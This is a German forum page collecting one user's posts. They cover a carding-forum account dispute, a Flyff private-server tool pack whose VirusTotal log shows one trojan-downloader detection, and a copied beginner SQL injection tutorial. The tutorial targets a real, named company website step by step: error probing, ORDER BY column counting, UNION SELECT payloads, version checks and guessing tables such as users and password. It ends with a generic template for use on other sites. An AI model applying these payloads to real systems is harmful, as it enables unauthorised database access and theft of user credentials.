Beiträge von Ankashi

  • Süßigkeiten, Wodka etc umsont Tutorial

    explo nur weil dein eigenes forum für kleinkriminele asos und 1337 Hack0rs gescheitert ist.
    Musst du nicht versuchen das niveau dieses forus runterzu ziehen
    die leute hier haben es nicht nötig im gegensatz zu anderen.
    in der zeit wo du so ne mail schreibst kann man auch arbeiten gehen und sich so das geld ehrlich verdienen.

  • 1 x Carders.cc Account

    typisch bist zu carders gekommen um zu leechen naja hab dich DEISMOS reportet er achtet auf ip changes :)
    mal gucken was chrissi zu einnem account für ein illegales forum wo es um dokumentenhandel kreditkartenbetrug und hacking geht super legal
    aber da du prem bist wird eh nichts passieren....

  • Server Tools Sammlung

    Zitat

    Du musst Credits angeben egal ob interen oder außerhalb


    ich glaube nicht das es Twilight darum ging aber bitte:
    d/e Flyff client=Gala Networks Europe Ltd.
    serusdb=serusUriel
    Updated v15 client= RoS (ist aber auch im packet enthalten)
    Mssql=Microsoft Corporation
    Beast=galanet/nitendo13
    v14 Files=Gala Networks Europe Ltd.
    Neuz=Gala Networks Europe Ltd.
    flyff.exe=Gala Networks Europe Ltd.


    edit
    sry für doppelpost zu spät gesehen


    zufrieden?

  • Server Tools Sammlung

    Zitat

    Sind alle nicht verlinkt :>
    Und komm nicht mit "wird noch geadddet".

    sag mir bitte den theard wo ich die serusdb beispielweise verlinken soll
    ich habe nur foren intern verlinkt

    beast und v14 files habe ich jetzt verlinkt

  • Server Tools Sammlung

    Da ich glaube,dass es hier ein paar Leuten hilft habe ich mal ein repack von vielen offi tools/scripts gemacht
    [FONT="Arial Black"]Momentan im Pack:[/FONT]

    ItemReader pre-alpha 0.9 <Shop-Preis-Editor>


    RockNetwork GM Tool v3.5 Extended

    Erweiterter PatchList Creator

    Offizielle Homepage [All]

    Neuer, schicker, virenfreier [Res Editor]

    Modded WorldServer

    Skycro Honor Editor

    OffiFiles Auto Restarter

    Resource Editor

    Serverfiles Tool

    Deutsche Dialoge

    DYO Edtior

    v14 Official Databases


    Offi Files Serverstatus [Total Accounts & Characters]

    Serverstatus Offifiles

    Register Script


    SerusDb

    Verschiedene Neuz´s

    Verschiedene Patcher

    Updated V15 client

    Dflyff Client

    Eflyff client

    Mssql 2005

    V14 Files

    v15 Beast


    Verschidene andere nützliche software(forensoftware,dynds updater etc.)


    Alle Offi Tutorials die ich hier im forum gefunden habe

    falls noch was fehlt bitte ich es hier zu ergänzen
    !


    [SIZE="6"]Virustest[/SIZE]

    Test

    Datei V14_Tool_Sammlung.rar empfangen 2010.01.22 13:28:44 (UTC)
    Status: Laden ... Wartend Warten Überprüfung Beendet Nicht gefunden Gestoppt
    Ergebnis: 0/41 (0%)
    Laden der Serverinformationen...
    Ihre Datei wartet momentan auf Position: 1.
    Geschätzte Startzeit ist zwischen 46 und 66 Sekunden.
    Dieses Fenster bis zum Abschluss des Scans nicht schließen.
    Der Scanner, welcher momentan Ihre Datei bearbeitet ist momentan gestoppt. Wir warten einige Sekunden um Ihr Ergebnis zu erstellen.
    Falls Sie längern als fünf Minuten warten, versenden Sie bitte die Datei erneut.
    Ihre Datei wird momentan von VirusTotal überprüft,
    Ergebnisse werden sofort nach der Generierung angezeigt.
    Filter Filter
    Drucken der Ergebnisse Drucken der Ergebnisse
    Datei existiert nicht oder dessen Lebensdauer wurde überschritten
    Dienst momentan gestoppt. Ihre Datei befindet sich in der Warteschlange (position: ). Diese wird abgearbeitet, wenn der Dienst wieder startet.

    SIe können auf einen automatischen reload der homepage warten, oder ihre email in das untere formular eintragen. Klicken Sie auf "Anfragen", damit das System sie benachrichtigt wenn die Überprüfung abgeschlossen ist.
    Email:

    Antivirus Version letzte aktualisierung Ergebnis
    a-squared 4.5.0.50 2010.01.22 -
    AhnLab-V3 5.0.0.2 2010.01.22 -
    AntiVir 7.9.1.146 2010.01.22 -
    Antiy-AVL 2.0.3.7 2010.01.22 -
    Authentium 5.2.0.5 2010.01.22 -
    Avast 4.8.1351.0 2010.01.22 -
    AVG 9.0.0.730 2010.01.22 -
    BitDefender 7.2 2010.01.22 -
    CAT-QuickHeal 10.00 2010.01.22
    ClamAV 0.94.1 2010.01.22 -
    Comodo 3670 2010.01.22 -
    DrWeb 5.0.1.12222 2010.01.22 -
    eSafe 7.0.17.0 2010.01.21 -
    eTrust-Vet 35.2.7253 2010.01.22 -
    F-Prot 4.5.1.85 2010.01.21 -
    F-Secure 9.0.15370.0 2010.01.22
    Fortinet 4.0.14.0 2010.01.22 -
    GData 19 2010.01.22 -
    Ikarus T3.1.1.80.0 2010.01.22
    Jiangmin 13.0.900 2010.01.22 -
    K7AntiVirus 7.10.951 2010.01.20
    Kaspersky 7.0.0.125 2010.01.22 -
    McAfee 5868 2010.01.21 -
    McAfee+Artemis 5868 2010.01.21 -
    McAfee-GW-Edition 6.8.5 2010.01.22 -
    Microsoft 1.5405 2010.01.22 -
    NOD32 4797 2010.01.22 -
    Norman 6.04.03 2010.01.22 -
    nProtect 2009.1.8.0 2010.01.22 -
    Panda 10.0.2.2 2010.01.22 -
    PCTools 7.0.3.5 2010.01.22 -
    Prevx 3.0 2010.01.22 -
    Rising 22.31.04.04 2010.01.22 -
    Sophos 4.50.0 2010.01.22 -
    Sunbelt 3.2.1858.2 2010.01.22 -
    Symantec 20091.2.0.41 2010.01.22 -
    TheHacker 6.5.0.9.158 2010.01.22 Trojan/Downloader.Agent.cgfw
    TrendMicro 9.120.0.1004 2010.01.22 -
    VBA32 3.12.12.1 2010.01.21 -
    ViRobot 2010.1.22.2151 2010.01.22 -
    VirusBuster 5.0.21.0 2010.01.22 -
    weitere Informationen
    File size: 4737813 bytes
    MD5...: 5c21cd2c6b6688a1b51dd4f4b9e9e7cb
    SHA1..: 8bd41274307c467e1ba506da9ecaebbb77cc16a0
    SHA256: 726c65099561e599eb725aa67211412f651fc896a66a75ca34a3cebb2cba22e2
    ssdeep: 98304:WcBxh5CGBWB5nSZCF5ZNQK6cSftSYvynRjngycfUMqMf1wI+f1wIxvK59:
    z7s3n/5tgtSYvyRjn8MMhf1V+f1Vx0
    PEiD..: -
    PEInfo: -
    RDS...: NSRL Reference Data Set
    -
    packers (Kaspersky): PE_Patch.UPX, UPX, PE_Patch.UPX, UPX, PE_Patch.UPX, UPX
    packers (F-Prot): Unicode, UTF-8, UPX
    sigcheck:
    publisher....: n/a
    copyright....: n/a
    product......: n/a
    description..: n/a
    original name: n/a
    internal name: n/a
    file version.: n/a
    comments.....: n/a
    signers......: -
    signing date.: -
    verified.....: Unsigned
    pdfid.: -
    trid..: RAR Archive (83.3%)
    REALbasic Project (16.6%)



    FileUpload


    Passwort

    M-Core is the Best !!!

  • Sql Injectionen

    Also
    Das ist keine sql injection sondern ganz normale sql befehle.

    Hier mal ein nettes tut das ich aus einem anderen forum kopiert habe.Mir hat es schon viel geholfen es ist zwar lang aber es lohnt sich damit auseinander zusetzen, da es dir schonmal bei einfachen injections hilft danach würde ich mit blind injections weiter machen.

    hier

    Ich erkläre SQL-Injections hier mal für Einsteiger.

    Ich fange einfach direkt an.Ich stoße beispielsweise auf diese Seite:

    Code:

    EMO-TRANS Startseite

    http://img5.imagebanana.com/img/c1k8rem5/tut1.JPG

    Nun hänge ich ein Hochkomma an die news_id um zu sehen ob SQL-Queries ausgeführt werden.

    Code:

    EMO-TRANS Startseite'


    Wie ihr seht, wird ein Fehler ausgegeben.Hierbei richtet sich das Hauptaugenmerk auf die Ausgabe:

    Code:

    MySQL Error: You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near ''' at line 1

    Diese besagt uns, dass die SQL-Befehle ausgeführt werden.Somit gehen wir an die nächste Aufgabe: Dem Herausfinden der Anzahl der Columns.

    Dazu benutzen wir die Order-By-Methode.Mit Order-By lassen wir die Columns orden nach dem Alphabet oder was auch immer.

    Wir beginnen einfach mal mit order+by+100--

    Code:

    ContentBoxX Error: Database Fatal Error (MySQL)


    Hauptaugenmerk hierbei :
    Code:

    Unknown column '100' in 'order clause'


    Für jeden der ein bisschen Englisch kann ist klar: Es gibt keine 100 Columns.

    Also müssen wir uns langsam herantasten, da dies mit Bildern zu viel wäre gehe ich direkt an den Schritt wo man weiss, wie viele es sind.

    Wenn ihr folgendes probiert:
    Code:

    ContentBoxX Error: Database Fatal Error (MySQL)

    Wird euch wieder ausgegeben, dass es keine Column 20 gibt.Probiert ihr aber:
    Code:

    EMO-TRANS Startseite

    Ist die Seite normal dargestellt,daher wissen wir, dass es 19 Columns gibt, da 19 der letzte true-Wert ist.

    Nun wissen wir es sind 19 Columns, weiter mit dem Union+Select-Befehl
    .Mit Union erreichen wir alle Tabellen, und sind nicht auf eine angewiesen, also immer Union vorran!Mit Select wird einfach selektiert - logisch? logisch!.

    Also gehen wir nun auf die Seite und verwenden fehlerhafter Weise, 18 Columns!

    Code:

    [url=http://www.emo.de/de/index.php?n…4,15,16,17,18--]ContentBoxX Error: Database Fatal Error (MySQL)[/url]


    Wird rein gar nichts ausgegeben.Verwenden wir aber den Befehl mit 19 Columns - also mit der richtigen Anzahl sieht es so aus:

    Code:

    [url=http://www.emo.de/de/index.php?n…5,16,17,18,19--]EMO-TRANS Startseite[/url]

    http://img5.imagebanana.com/img/jk3j28fi/tut4.JPG


    Wie ihr seht befindet sich auf der Seite eine 5 und eine 7.Das sind unsere Ausgabestellen.Hier lassen wir uns später den gewünschten Datenbankeintrag anzeigen.

    Erstmal überprüfen wir die MySql Version - dies ist wichtig für den weiteren Verlauf der Injection.


    Dazu benutzen wir den Befehl version(), dies geschieht natürlich an einer Stelle wo wir uns etwas ausgeben lassen können (5 oder 7).Ich nehme einfach mal die 5.

    Code:

    [url=http://www.emo.de/de/index.php?n…5,16,17,18,19--]EMO-TRANS Startseite[/url]


    Wie ihr seht erscheint nun auf der Seite 4.1.21 - also benutzt die Seite MySql Version 4.Dies ist für Injections unvorteilhafter - dazu aber später mehr.

    Nun versuche ich auf die Tabelle users zuzugreifen.

    Code:

    [url=http://www.emo.de/de/index.php?n…19+from+users--]ContentBoxX Error: Database Fatal Error (MySQL)[/url]


    http://img5.imagebanana.com/img/bxxhhw9/tut6.JPG

    Wie ihr seht, existiert diese Tabelle nicht, also müssen wir weiter raten.

    Nachdem ich ein wenig getestet habe probiere ich auch den Tabellennamen newsletter aus.

    Code:

    [url=http://www.emo.de/de/index.php?n…om+newsletter--]EMO-TRANS Startseite[/url]


    Und? Kein Fehler.Was heisst das?
    Es gibt eine Tabelle mit dem Namen newsletters!


    Nun will ich natürlich auch eine Spalte(Column) auslesen, also teste ich ob es eine mit dem Namen email funktioniert.


    Code:

    [url=http://www.emo.de/de/index.php?n…om+newsletter--]ContentBoxX Error: Database Fatal Error (MySQL)[/url]


    Aber wie ihr seht existiert diese Spalte nicht, also probiere ich wie schon bei den Tables weiter, ich teste einfach mal customers_email
    *.

    Code:

    [url=http://www.emo.de/de/index.php?n…om+newsletter--]ContentBoxX Error: Database Fatal Error (MySQL)[/url]

    http://img5.imagebanana.com/img/8aw0tbt7/tut9.JPG


    *Die Column customers_email existiert nicht(ich habe noch keine existierende entdeckt), ich habe das Bild bearbeitet - so würde die fertige Injection aussehen.Dies geht natürlich bei anderen Seiten auch mit der Tabelle users und der Column password.

    Wichtiges was ihr wissen solltet, statt dem Pluszeichen (+) könnt ihr auch ein Leerzeichen oder die Zeichenfolge /**/ benutzen.

    Die Zeichenfolge -- beendet den Querie, Alternative hierfür /*

    Nun wisst ihr wir ihr an die Columns kommt und wie ihr eine Column aus einer bestimmten Table auslest.

    Syntax:
    Code:

    http://yoursite.com/news_id=12+uni…rom+TABLENAME--


    Ein MySQL Fehler muss nicht immer in dieser Form (ContentBoxx) ausgegeben werden, oft ist es nur Text!


    Hoffe ihr habt den einstieg gelernt, bei Fragen,Lob,Kritik einfach posten.
    Kopieren erlaubt - Ändern verboten!
    Nur mit Quellangabe verbreiten!


    Viel Spaß